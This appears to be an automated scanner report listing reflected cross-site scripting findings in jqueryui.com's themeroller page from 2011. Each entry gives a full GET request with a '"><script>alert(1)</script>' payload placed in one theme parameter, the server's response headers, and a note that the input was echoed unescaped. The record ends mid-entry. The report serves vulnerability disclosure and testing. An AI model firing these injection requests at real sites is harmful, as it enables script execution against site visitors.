GET /themeroller/?ffDefault=Lucida%20Grande,%20Lucida%20Sans%20Unicode,%20Arial,%20Verdana,%20sans-serif&fwDefault=bold&fsDefault=100%&cornerRadius=7px&bgColorHeader=55BBDD&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=20&borderColorHeader=55BBDD&fcHeader=FFFFFF&iconColorHeader=FFFFFF&bgColorContent=FFFFFF&bgTextureContent=01_flat.png4a15e"><script>alert(1)</script>81a0d838539&bgImgOpacityContent=100&borderColorContent=CCCCCC&fcContent=666666&iconColorContent=666666&bgColorDefault=00AAFF&bgTextureDefault=03_highlight_soft.png&bgImgOpacityDefault=50&borderColorDefault=00AAFF&fcDefault=FFFFFF&iconColorDefault=FFFFFF&bgColorHover=00B3FF&bgTextureHover=03_highlight_soft.png&bgImgOpacityHover=50&borderColorHover=00B3FF&fcHover=FFFFFF&iconColorHover=FFFFFF&bgColorActive=F8F8F8&bgTextureActive=06_inset_hard.png&bgImgOpacityActive=100&borderColorActive=CCCCCC&fcActive=0055CC&iconColorActive=0055CC&bgColorHighlight=FFEC7C&bgTextureHighlight=03_highlight_soft.png&bgImgOpacityHighlight=20&borderColorHighlight=F4D936&fcHighlight=333333&iconColorHighlight=B10000&bgColorError=FFFFFF&bgTextureError=01_flat.png&bgImgOpacityError=100&borderColorError=B10000&fcError=B10000&iconColorError=B10000&bgColorOverlay=000000&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=35&bgColorShadow=55BBDD&bgTextureShadow=01_flat.png&bgImgOpacityShadow=100&opacityShadow=100&thicknessShadow=2px&offsetTopShadow=-2px&offsetLeftShadow=-2px&cornerRadiusShadow=7px*//* HTTP/1.1 Host: jqueryui.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.7.62 Date: Thu, 27 Jan 2011 19:13:45 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.2.4-2ubuntu5.10 X-Served-By: www3 X-Proxy: 1 Content-Length: 120256
The value of the bgTextureDefault request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fe60a"><script>alert(1)</script>ce06652329f was submitted in the bgTextureDefault parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /themeroller/?ffDefault=Lucida%20Grande,%20Lucida%20Sans%20Unicode,%20Arial,%20Verdana,%20sans-serif&fwDefault=bold&fsDefault=100%&cornerRadius=7px&bgColorHeader=55BBDD&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=20&borderColorHeader=55BBDD&fcHeader=FFFFFF&iconColorHeader=FFFFFF&bgColorContent=FFFFFF&bgTextureContent=01_flat.png&bgImgOpacityContent=100&borderColorContent=CCCCCC&fcContent=666666&iconColorContent=666666&bgColorDefault=00AAFF&bgTextureDefault=03_highlight_soft.pngfe60a"><script>alert(1)</script>ce06652329f&bgImgOpacityDefault=50&borderColorDefault=00AAFF&fcDefault=FFFFFF&iconColorDefault=FFFFFF&bgColorHover=00B3FF&bgTextureHover=03_highlight_soft.png&bgImgOpacityHover=50&borderColorHover=00B3FF&fcHover=FFFFFF&iconColorHover=FFFFFF&bgColorActive=F8F8F8&bgTextureActive=06_inset_hard.png&bgImgOpacityActive=100&borderColorActive=CCCCCC&fcActive=0055CC&iconColorActive=0055CC&bgColorHighlight=FFEC7C&bgTextureHighlight=03_highlight_soft.png&bgImgOpacityHighlight=20&borderColorHighlight=F4D936&fcHighlight=333333&iconColorHighlight=B10000&bgColorError=FFFFFF&bgTextureError=01_flat.png&bgImgOpacityError=100&borderColorError=B10000&fcError=B10000&iconColorError=B10000&bgColorOverlay=000000&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=35&bgColorShadow=55BBDD&bgTextureShadow=01_flat.png&bgImgOpacityShadow=100&opacityShadow=100&thicknessShadow=2px&offsetTopShadow=-2px&offsetLeftShadow=-2px&cornerRadiusShadow=7px*//* HTTP/1.1 Host: jqueryui.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.7.62 Date: Thu, 27 Jan 2011 19:13:58 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.2.4-2ubuntu5.10 X-Served-By: www4 X-Proxy: 1 Content-Length: 120256
The value of the bgTextureError request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c40d0"><script>alert(1)</script>ec045cea2ed was submitted in the bgTextureError parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /themeroller/?ffDefault=Lucida%20Grande,%20Lucida%20Sans%20Unicode,%20Arial,%20Verdana,%20sans-serif&fwDefault=bold&fsDefault=100%&cornerRadius=7px&bgColorHeader=55BBDD&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=20&borderColorHeader=55BBDD&fcHeader=FFFFFF&iconColorHeader=FFFFFF&bgColorContent=FFFFFF&bgTextureContent=01_flat.png&bgImgOpacityContent=100&borderColorContent=CCCCCC&fcContent=666666&iconColorContent=666666&bgColorDefault=00AAFF&bgTextureDefault=03_highlight_soft.png&bgImgOpacityDefault=50&borderColorDefault=00AAFF&fcDefault=FFFFFF&iconColorDefault=FFFFFF&bgColorHover=00B3FF&bgTextureHover=03_highlight_soft.png&bgImgOpacityHover=50&borderColorHover=00B3FF&fcHover=FFFFFF&iconColorHover=FFFFFF&bgColorActive=F8F8F8&bgTextureActive=06_inset_hard.png&bgImgOpacityActive=100&borderColorActive=CCCCCC&fcActive=0055CC&iconColorActive=0055CC&bgColorHighlight=FFEC7C&bgTextureHighlight=03_highlight_soft.png&bgImgOpacityHighlight=20&borderColorHighlight=F4D936&fcHighlight=333333&iconColorHighlight=B10000&bgColorError=FFFFFF&bgTextureError=01_flat.pngc40d0"><script>alert(1)</script>ec045cea2ed&bgImgOpacityError=100&borderColorError=B10000&fcError=B10000&iconColorError=B10000&bgColorOverlay=000000&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=35&bgColorShadow=55BBDD&bgTextureShadow=01_flat.png&bgImgOpacityShadow=100&opacityShadow=100&thicknessShadow=2px&offsetTopShadow=-2px&offsetLeftShadow=-2px&cornerRadiusShadow=7px*//* HTTP/1.1 Host: jqueryui.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.7.62 Date: Thu, 27 Jan 2011 19:14:21 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.2.4-2ubuntu5.10 X-Served-By: www4 X-Proxy: 1 Content-Length: 120256
The value of the bgTextureHeader request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1d571"><script>alert(1)</script>b542d36e1a6 was submitted in the bgTextureHeader parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /themeroller/?ffDefault=Lucida%20Grande,%20Lucida%20Sans%20Unicode,%20Arial,%20Verdana,%20sans-serif&fwDefault=bold&fsDefault=100%&cornerRadius=7px&bgColorHeader=55BBDD&bgTextureHeader=03_highlight_soft.png1d571"><script>alert(1)</script>b542d36e1a6&bgImgOpacityHeader=20&borderColorHeader=55BBDD&fcHeader=FFFFFF&iconColorHeader=FFFFFF&bgColorContent=FFFFFF&bgTextureContent=01_flat.png&bgImgOpacityContent=100&borderColorContent=CCCCCC&fcContent=666666&iconColorContent=666666&bgColorDefault=00AAFF&bgTextureDefault=03_highlight_soft.png&bgImgOpacityDefault=50&borderColorDefault=00AAFF&fcDefault=FFFFFF&iconColorDefault=FFFFFF&bgColorHover=00B3FF&bgTextureHover=03_highlight_soft.png&bgImgOpacityHover=50&borderColorHover=00B3FF&fcHover=FFFFFF&iconColorHover=FFFFFF&bgColorActive=F8F8F8&bgTextureActive=06_inset_hard.png&bgImgOpacityActive=100&borderColorActive=CCCCCC&fcActive=0055CC&iconColorActive=0055CC&bgColorHighlight=FFEC7C&bgTextureHighlight=03_highlight_soft.png&bgImgOpacityHighlight=20&borderColorHighlight=F4D936&fcHighlight=333333&iconColorHighlight=B10000&bgColorError=FFFFFF&bgTextureError=01_flat.png&bgImgOpacityError=100&borderColorError=B10000&fcError=B10000&iconColorError=B10000&bgColorOverlay=000000&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=35&bgColorShadow=55BBDD&bgTextureShadow=01_flat.png&bgImgOpacityShadow=100&opacityShadow=100&thicknessShadow=2px&offsetTopShadow=-2px&offsetLeftShadow=-2px&cornerRadiusShadow=7px*//* HTTP/1.1 Host: jqueryui.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.7.62 Date: Thu, 27 Jan 2011 19:13:36 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.2.4-2ubuntu5.10 X-Served-By: www3 X-Proxy: 1 Content-Length: 120256
The value of the bgTextureHighlight request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload abb4d"><script>alert(1)</script>b1e44b09bce was submitted in the bgTextureHighlight parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /themeroller/?ffDefault=Lucida%20Grande,%20Lucida%20Sans%20Unicode,%20Arial,%20Verdana,%20sans-serif&fwDefault=bold&fsDefault=100%&cornerRadius=7px&bgColorHeader=55BBDD&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=20&borderColorHeader=55BBDD&fcHeader=FFFFFF&iconColorHeader=FFFFFF&bgColorContent=FFFFFF&bgTextureContent=01_flat.png&bgImgOpacityContent=100&borderColorContent=CCCCCC&fcContent=666666&iconColorContent=666666&bgColorDefault=00AAFF&bgTextureDefault=03_highlight_soft.png&bgImgOpacityDefault=50&borderColorDefault=00AAFF&fcDefault=FFFFFF&iconColorDefault=FFFFFF&bgColorHover=00B3FF&bgTextureHover=03_highlight_soft.png&bgImgOpacityHover=50&borderColorHover=00B3FF&fcHover=FFFFFF&iconColorHover=FFFFFF&bgColorActive=F8F8F8&bgTextureActive=06_inset_hard.png&bgImgOpacityActive=100&borderColorActive=CCCCCC&fcActive=0055CC&iconColorActive=0055CC&bgColorHighlight=FFEC7C&bgTextureHighlight=03_highlight_soft.pngabb4d"><script>alert(1)</script>b1e44b09bce&bgImgOpacityHighlight=20&borderColorHighlight=F4D936&fcHighlight=333333&iconColorHighlight=B10000&bgColorError=FFFFFF&bgTextureError=01_flat.png&bgImgOpacityError=100&borderColorError=B10000&fcError=B10000&iconColorError=B10000&bgColorOverlay=000000&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=35&bgColorShadow=55BBDD&bgTextureShadow=01_flat.png&bgImgOpacityShadow=100&opacityShadow=100&thicknessShadow=2px&offsetTopShadow=-2px&offsetLeftShadow=-2px&cornerRadiusShadow=7px*//* HTTP/1.1 Host: jqueryui.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.7.62 Date: Thu, 27 Jan 2011 19:14:14 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.2.4-2ubuntu5.10 X-Served-By: www4 X-Proxy: 1 Content-Length: 120256
The value of the bgTextureHover request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4c782"><script>alert(1)</script>75def417c71 was submitted in the bgTextureHover parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /themeroller/?ffDefault=Lucida%20Grande,%20Lucida%20Sans%20Unicode,%20Arial,%20Verdana,%20sans-serif&fwDefault=bold&fsDefault=100%&cornerRadius=7px&bgColorHeader=55BBDD&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=20&borderColorHeader=55BBDD&fcHeader=FFFFFF&iconColorHeader=FFFFFF&bgColorContent=FFFFFF&bgTextureContent=01_flat.png&bgImgOpacityContent=100&borderColorContent=CCCCCC&fcContent=666666&iconColorContent=666666&bgColorDefault=00AAFF&bgTextureDefault=03_highlight_soft.png&bgImgOpacityDefault=50&borderColorDefault=00AAFF&fcDefault=FFFFFF&iconColorDefault=FFFFFF&bgColorHover=00B3FF&bgTextureHover=03_highlight_soft.png4c782"><script>alert(1)</script>75def417c71&bgImgOpacityHover=50&borderColorHover=00B3FF&fcHover=FFFFFF&iconColorHover=FFFFFF&bgColorActive=F8F8F8&bgTextureActive=06_inset_hard.png&bgImgOpacityActive=100&borderColorActive=CCCCCC&fcActive=0055CC&iconColorActive=0055CC&bgColorHighlight=FFEC7C&bgTextureHighlight=03_highlight_soft.png&bgImgOpacityHighlight=20&borderColorHighlight=F4D936&fcHighlight=333333&iconColorHighlight=B10000&bgColorError=FFFFFF&bgTextureError=01_flat.png&bgImgOpacityError=100&borderColorError=B10000&fcError=B10000&iconColorError=B10000&bgColorOverlay=000000&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=35&bgColorShadow=55BBDD&bgTextureShadow=01_flat.png&bgImgOpacityShadow=100&opacityShadow=100&thicknessShadow=2px&offsetTopShadow=-2px&offsetLeftShadow=-2px&cornerRadiusShadow=7px*//* HTTP/1.1 Host: jqueryui.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.7.62 Date: Thu, 27 Jan 2011 19:14:03 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.2.4-2ubuntu5.10 X-Served-By: www3 X-Proxy: 1 Content-Length: 120256
The value of the bgTextureOverlay request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ac7dc"><script>alert(1)</script>ced59be90ca was submitted in the bgTextureOverlay parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /themeroller/?ffDefault=Lucida%20Grande,%20Lucida%20Sans%20Unicode,%20Arial,%20Verdana,%20sans-serif&fwDefault=bold&fsDefault=100%&cornerRadius=7px&bgColorHeader=55BBDD&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=20&borderColorHeader=55BBDD&fcHeader=FFFFFF&iconColorHeader=FFFFFF&bgColorContent=FFFFFF&bgTextureContent=01_flat.png&bgImgOpacityContent=100&borderColorContent=CCCCCC&fcContent=666666&iconColorContent=666666&bgColorDefault=00AAFF&bgTextureDefault=03_highlight_soft.png&bgImgOpacityDefault=50&borderColorDefault=00AAFF&fcDefault=FFFFFF&iconColorDefault=FFFFFF&bgColorHover=00B3FF&bgTextureHover=03_highlight_soft.png&bgImgOpacityHover=50&borderColorHover=00B3FF&fcHover=FFFFFF&iconColorHover=FFFFFF&bgColorActive=F8F8F8&bgTextureActive=06_inset_hard.png&bgImgOpacityActive=100&borderColorActive=CCCCCC&fcActive=0055CC&iconColorActive=0055CC&bgColorHighlight=FFEC7C&bgTextureHighlight=03_highlight_soft.png&bgImgOpacityHighlight=20&borderColorHighlight=F4D936&fcHighlight=333333&iconColorHighlight=B10000&bgColorError=FFFFFF&bgTextureError=01_flat.png&bgImgOpacityError=100&borderColorError=B10000&fcError=B10000&iconColorError=B10000&bgColorOverlay=000000&bgTextureOverlay=01_flat.pngac7dc"><script>alert(1)</script>ced59be90ca&bgImgOpacityOverlay=0&opacityOverlay=35&bgColorShadow=55BBDD&bgTextureShadow=01_flat.png&bgImgOpacityShadow=100&opacityShadow=100&thicknessShadow=2px&offsetTopShadow=-2px&offsetLeftShadow=-2px&cornerRadiusShadow=7px*//* HTTP/1.1 Host: jqueryui.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.7.62 Date: Thu, 27 Jan 2011 19:14:25 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.2.4-2ubuntu5.10 X-Served-By: www3 X-Proxy: 1 Content-Length: 120256
The value of the bgTextureShadow request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload aa510"><script>alert(1)</script>0bdc0f1fe04 was submitted in the bgTextureShadow parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /themeroller/?ffDefault=Lucida%20Grande,%20Lucida%20Sans%20Unicode,%20Arial,%20Verdana,%20sans-serif&fwDefault=bold&fsDefault=100%&cornerRadius=7px&bgColorHeader=55BBDD&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=20&borderColorHeader=55BBDD&fcHeader=FFFFFF&iconColorHeader=FFFFFF&bgColorContent=FFFFFF&bgTextureContent=01_flat.png&bgImgOpacityContent=100&borderColorContent=CCCCCC&fcContent=666666&iconColorContent=666666&bgColorDefault=00AAFF&bgTextureDefault=03_highlight_soft.png&bgImgOpacityDefault=50&borderColorDefault=00AAFF&fcDefault=FFFFFF&iconColorDefault=FFFFFF&bgColorHover=00B3FF&bgTextureHover=03_highlight_soft.png&bgImgOpacityHover=50&borderColorHover=00B3FF&fcHover=FFFFFF&iconColorHover=FFFFFF&bgColorActive=F8F8F8&bgTextureActive=06_inset_hard.png&bgImgOpacityActive=100&borderColorActive=CCCCCC&fcActive=0055CC&iconColorActive=0055CC&bgColorHighlight=FFEC7C&bgTextureHighlight=03_highlight_soft.png&bgImgOpacityHighlight=20&borderColorHighlight=F4D936&fcHighlight=333333&iconColorHighlight=B10000&bgColorError=FFFFFF&bgTextureError=01_flat.png&bgImgOpacityError=100&borderColorError=B10000&fcError=B10000&iconColorError=B10000&bgColorOverlay=000000&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=35&bgColorShadow=55BBDD&bgTextureShadow=01_flat.pngaa510"><script>alert(1)</script>0bdc0f1fe04&bgImgOpacityShadow=100&opacityShadow=100&thicknessShadow=2px&offsetTopShadow=-2px&offsetLeftShadow=-2px&cornerRadiusShadow=7px*//* HTTP/1.1 Host: jqueryui.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.7.62 Date: Thu, 27 Jan 2011 19:14:27 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.2.4-2ubuntu5.10 X-Served-By: www4 X-Proxy: 1 Content-Length: 120256
The value of the borderColorActive request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 83abc"><script>alert(1)</script>c8f0c5f0c21 was submitted in the borderColorActive parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /themeroller/?ffDefault=Lucida%20Grande,%20Lucida%20Sans%20Unicode,%20Arial,%20Verdana,%20sans-serif&fwDefault=bold&fsDefault=100%&cornerRadius=7px&bgColorHeader=55BBDD&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=20&borderColorHeader=55BBDD&fcHeader=FFFFFF&iconColorHeader=FFFFFF&bgColorContent=FFFFFF&bgTextureContent=01_flat.png&bgImgOpacityContent=100&borderColorContent=CCCCCC&fcContent=666666&iconColorContent=666666&bgColorDefault=00AAFF&bgTextureDefault=03_highlight_soft.png&bgImgOpacityDefault=50&borderColorDefault=00AAFF&fcDefault=FFFFFF&iconColorDefault=FFFFFF&bgColorHover=00B3FF&bgTextureHover=03_highlight_soft.png&bgImgOpacityHover=50&borderColorHover=00B3FF&fcHover=FFFFFF&iconColorHover=FFFFFF&bgColorActive=F8F8F8&bgTextureActive=06_inset_hard.png&bgImgOpacityActive=100&borderColorActive=CCCCCC83abc"><script>alert(1)</script>c8f0c5f0c21&fcActive=0055CC&iconColorActive=0055CC&bgColorHighlight=FFEC7C&bgTextureHighlight=03_highlight_soft.png&bgImgOpacityHighlight=20&borderColorHighlight=F4D936&fcHighlight=333333&iconColorHighlight=B10000&bgColorError=FFFFFF&bgTextureError=01_flat.png&bgImgOpacityError=100&borderColorError=B10000&fcError=B10000&iconColorError=B10000&bgColorOverlay=000000&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=35&bgColorShadow=55BBDD&bgTextureShadow=01_flat.png&bgImgOpacityShadow=100&opacityShadow=100&thicknessShadow=2px&offsetTopShadow=-2px&offsetLeftShadow=-2px&cornerRadiusShadow=7px*//* HTTP/1.1 Host: jqueryui.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.7.62 Date: Thu, 27 Jan 2011 19:14:10 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.2.4-2ubuntu5.10 X-Served-By: www3 X-Proxy: 1 Content-Length: 120322
The value of the borderColorContent request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2458c"><script>alert(1)</script>1e2146c3dca was submitted in the borderColorContent parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /themeroller/?ffDefault=Lucida%20Grande,%20Lucida%20Sans%20Unicode,%20Arial,%20Verdana,%20sans-serif&fwDefault=bold&fsDefault=100%&cornerRadius=7px&bgColorHeader=55BBDD&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=20&borderColorHeader=55BBDD&fcHeader=FFFFFF&iconColorHeader=FFFFFF&bgColorContent=FFFFFF&bgTextureContent=01_flat.png&bgImgOpacityContent=100&borderColorContent=CCCCCC2458c"><script>alert(1)</script>1e2146c3dca&fcContent=666666&iconColorContent=666666&bgColorDefault=00AAFF&bgTextureDefault=03_highlight_soft.png&bgImgOpacityDefault=50&borderColorDefault=00AAFF&fcDefault=FFFFFF&iconColorDefault=FFFFFF&bgColorHover=00B3FF&bgTextureHover=03_highlight_soft.png&bgImgOpacityHover=50&borderColorHover=00B3FF&fcHover=FFFFFF&iconColorHover=FFFFFF&bgColorActive=F8F8F8&bgTextureActive=06_inset_hard.png&bgImgOpacityActive=100&borderColorActive=CCCCCC&fcActive=0055CC&iconColorActive=0055CC&bgColorHighlight=FFEC7C&bgTextureHighlight=03_highlight_soft.png&bgImgOpacityHighlight=20&borderColorHighlight=F4D936&fcHighlight=333333&iconColorHighlight=B10000&bgColorError=FFFFFF&bgTextureError=01_flat.png&bgImgOpacityError=100&borderColorError=B10000&fcError=B10000&iconColorError=B10000&bgColorOverlay=000000&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=35&bgColorShadow=55BBDD&bgTextureShadow=01_flat.png&bgImgOpacityShadow=100&opacityShadow=100&thicknessShadow=2px&offsetTopShadow=-2px&offsetLeftShadow=-2px&cornerRadiusShadow=7px*//* HTTP/1.1 Host: jqueryui.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.7.62 Date: Thu, 27 Jan 2011 19:13:49 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.2.4-2ubuntu5.10 X-Served-By: www4 X-Proxy: 1 Content-Length: 120322
The value of the borderColorDefault request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1de03"><script>alert(1)</script>591a2eed492 was submitted in the borderColorDefault parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /themeroller/?ffDefault=Lucida%20Grande,%20Lucida%20Sans%20Unicode,%20Arial,%20Verdana,%20sans-serif&fwDefault=bold&fsDefault=100%&cornerRadius=7px&bgColorHeader=55BBDD&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=20&borderColorHeader=55BBDD&fcHeader=FFFFFF&iconColorHeader=FFFFFF&bgColorContent=FFFFFF&bgTextureContent=01_flat.png&bgImgOpacityContent=100&borderColorContent=CCCCCC&fcContent=666666&iconColorContent=666666&bgColorDefault=00AAFF&bgTextureDefault=03_highlight_soft.png&bgImgOpacityDefault=50&borderColorDefault=00AAFF1de03"><script>alert(1)</script>591a2eed492&fcDefault=FFFFFF&iconColorDefault=FFFFFF&bgColorHover=00B3FF&bgTextureHover=03_highlight_soft.png&bgImgOpacityHover=50&borderColorHover=00B3FF&fcHover=FFFFFF&iconColorHover=FFFFFF&bgColorActive=F8F8F8&bgTextureActive=06_inset_hard.png&bgImgOpacityActive=100&borderColorActive=CCCCCC&fcActive=0055CC&iconColorActive=0055CC&bgColorHighlight=FFEC7C&bgTextureHighlight=03_highlight_soft.png&bgImgOpacityHighlight=20&borderColorHighlight=F4D936&fcHighlight=333333&iconColorHighlight=B10000&bgColorError=FFFFFF&bgTextureError=01_flat.png&bgImgOpacityError=100&borderColorError=B10000&fcError=B10000&iconColorError=B10000&bgColorOverlay=000000&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=35&bgColorShadow=55BBDD&bgTextureShadow=01_flat.png&bgImgOpacityShadow=100&opacityShadow=100&thicknessShadow=2px&offsetTopShadow=-2px&offsetLeftShadow=-2px&cornerRadiusShadow=7px*//* HTTP/1.1 Host: jqueryui.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.7.62 Date: Thu, 27 Jan 2011 19:13:59 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.2.4-2ubuntu5.10 X-Served-By: www4 X-Proxy: 1 Content-Length: 120322
The value of the borderColorError request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 29e98"><script>alert(1)</script>00c7bbe14b6 was submitted in the borderColorError parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /themeroller/?ffDefault=Lucida%20Grande,%20Lucida%20Sans%20Unicode,%20Arial,%20Verdana,%20sans-serif&fwDefault=bold&fsDefault=100%&cornerRadius=7px&bgColorHeader=55BBDD&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=20&borderColorHeader=55BBDD&fcHeader=FFFFFF&iconColorHeader=FFFFFF&bgColorContent=FFFFFF&bgTextureContent=01_flat.png&bgImgOpacityContent=100&borderColorContent=CCCCCC&fcContent=666666&iconColorContent=666666&bgColorDefault=00AAFF&bgTextureDefault=03_highlight_soft.png&bgImgOpacityDefault=50&borderColorDefault=00AAFF&fcDefault=FFFFFF&iconColorDefault=FFFFFF&bgColorHover=00B3FF&bgTextureHover=03_highlight_soft.png&bgImgOpacityHover=50&borderColorHover=00B3FF&fcHover=FFFFFF&iconColorHover=FFFFFF&bgColorActive=F8F8F8&bgTextureActive=06_inset_hard.png&bgImgOpacityActive=100&borderColorActive=CCCCCC&fcActive=0055CC&iconColorActive=0055CC&bgColorHighlight=FFEC7C&bgTextureHighlight=03_highlight_soft.png&bgImgOpacityHighlight=20&borderColorHighlight=F4D936&fcHighlight=333333&iconColorHighlight=B10000&bgColorError=FFFFFF&bgTextureError=01_flat.png&bgImgOpacityError=100&borderColorError=B1000029e98"><script>alert(1)</script>00c7bbe14b6&fcError=B10000&iconColorError=B10000&bgColorOverlay=000000&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=35&bgColorShadow=55BBDD&bgTextureShadow=01_flat.png&bgImgOpacityShadow=100&opacityShadow=100&thicknessShadow=2px&offsetTopShadow=-2px&offsetLeftShadow=-2px&cornerRadiusShadow=7px*//* HTTP/1.1 Host: jqueryui.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.7.62 Date: Thu, 27 Jan 2011 19:14:22 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.2.4-2ubuntu5.10 X-Served-By: www4 X-Proxy: 1 Content-Length: 120322
The value of the borderColorHeader request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c6583"><script>alert(1)</script>bd50e49b25f was submitted in the borderColorHeader parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
